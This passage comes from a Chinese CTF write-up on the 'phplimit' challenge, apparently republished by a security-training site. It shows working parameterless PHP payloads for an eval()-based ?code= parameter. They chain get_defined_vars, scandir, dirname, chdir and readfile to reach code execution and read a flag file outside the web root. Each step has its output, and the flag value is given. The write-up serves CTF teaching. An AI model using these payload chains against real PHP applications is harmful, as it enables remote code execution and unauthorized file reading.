当前位置:网站首页 > 黑客培训 > 正文

代码审计从入门到放弃(三) & phplimit

freebuffreebuf 2019-03-15 266 0

本文来源:代码审计从入门到放弃(三) & phplimit

原创: 一叶飘零 合天智汇

前言

接着前面的 string(1"2" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } }


那么如何将里面的

["a"]=> string(1"2" 


提取出来呢?

image.png

这里有一系列提取位置的函数,我们首先使用current()函数

得到回显

?code=var_dump(current(get_defined_vars()));" ["a"]=> string(1"2" }

我们再取这个数组的最后一个

?code=var_dump(end(current(get_defined_vars())));


image.png然后getflag

?code=eval(end(current(get_defined_vars())));


即可拿到flag

flag{e86963ba34687d269b9faf526ce68cd7}

法3

为什么一定要RCE呢?这个题既然flag放在文件里,我们能不能直接读文件就行?

之前的方法都基于可以进行RCE,可以说我们是把题目难度又加大了,实际上,我们只进行任意文件读取即可

那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?

首先,我们可以利用getcwd()获取当前目录

?code=var_dump(getcwd());

string(13"/var/www/html"

那么怎么进行当前目录的目录遍历呢?

这里用scandir()即可

?code=var_dump(scandir(getcwd()));

array(3) { [0]=> string(1"." [1]=> string(2".." [2]=> string(9"index.php" }

那么既然不在这一层目录,如何进行目录上跳呢?

我们用dirname()即可

?code=var_dump(scandir(dirname(getcwd())));

array(4) { [0]=> string(1"." [1]=> string(2".." [2]=> string(14"flag_phpbyp4ss" [3]=> string(4"html" }

即可发现flag文件,那么问题又回到之前,如果取数组指定位置的值,我们需要取的位置是第3个,我们有的方法如下

current() 取第一个

next() 取第二个

end() 取最后一个

那么怎么取第三个呢?

我们这里让数组倒叙,然后取第二个即可

?code=var_dump(next(array_reverse(scandir(dirname(getcwd())))));

string(14"flag_phpbyp4ss"

那么读文件

?code=file_get_contents(next(array_reverse(scandir(dirname(getcwd())))));

Warning: file_get_contents(flag_phpbyp4ss): failed to open stream: No such file or directory in /var/www/html/index.php(3) : eval()'d code on line 1

发现报错了,我们找不到这个文件,因为没有../上跳呀,这该怎么办呢?

这里我们发现有函数可以更改当前目录

chdir ( string $directory ) : bool


将 PHP 的当前目录改为 directory。

所以我们这里在

dirname(getcwd())

进行如下设置即可

chdir(dirname(getcwd()))


这样我们的当前目录就在/var/www下了

但此时,我们的值变为了bool值,我们为了遍历目录,需要让他变回来,所以我们先进行目录上跳

var_dump(dirname(chdir(dirname(getcwd()))));

string(1) "."

再列目录

var_dump(scandir(dirname(chdir(dirname(getcwd())))));

array(4) { [0]=> string(1"." [1]=> string(2".." [2]=> string(14"flag_phpbyp4ss" [3]=> string(4"html" }

然后就回到了之前的问题了,我们直接取文件,读取即可

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));


即可拿到flag

flag{e86963ba34687d269b9faf526ce68cd7}

小结

这种开放式的题目非常有趣,可以帮助我们了解许多php黑魔法和各种组合,我相信方法远不止这3种,欢迎各位讨论!

相关实验操作

1. PHP脚本语言基础:学会基础的PHP编程

http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916344500001

image.png2. Nginx代码执行和目录跨越漏洞:熟悉目录跨越的成因和攻击利用

http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2016091916132900001

image.png


本文为合天原创,未经允许,严禁转载。

转载请注明来自网盾网络安全培训,本文标题:《代码审计从入门到放弃(三) & phplimit》

标签:合天智汇

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表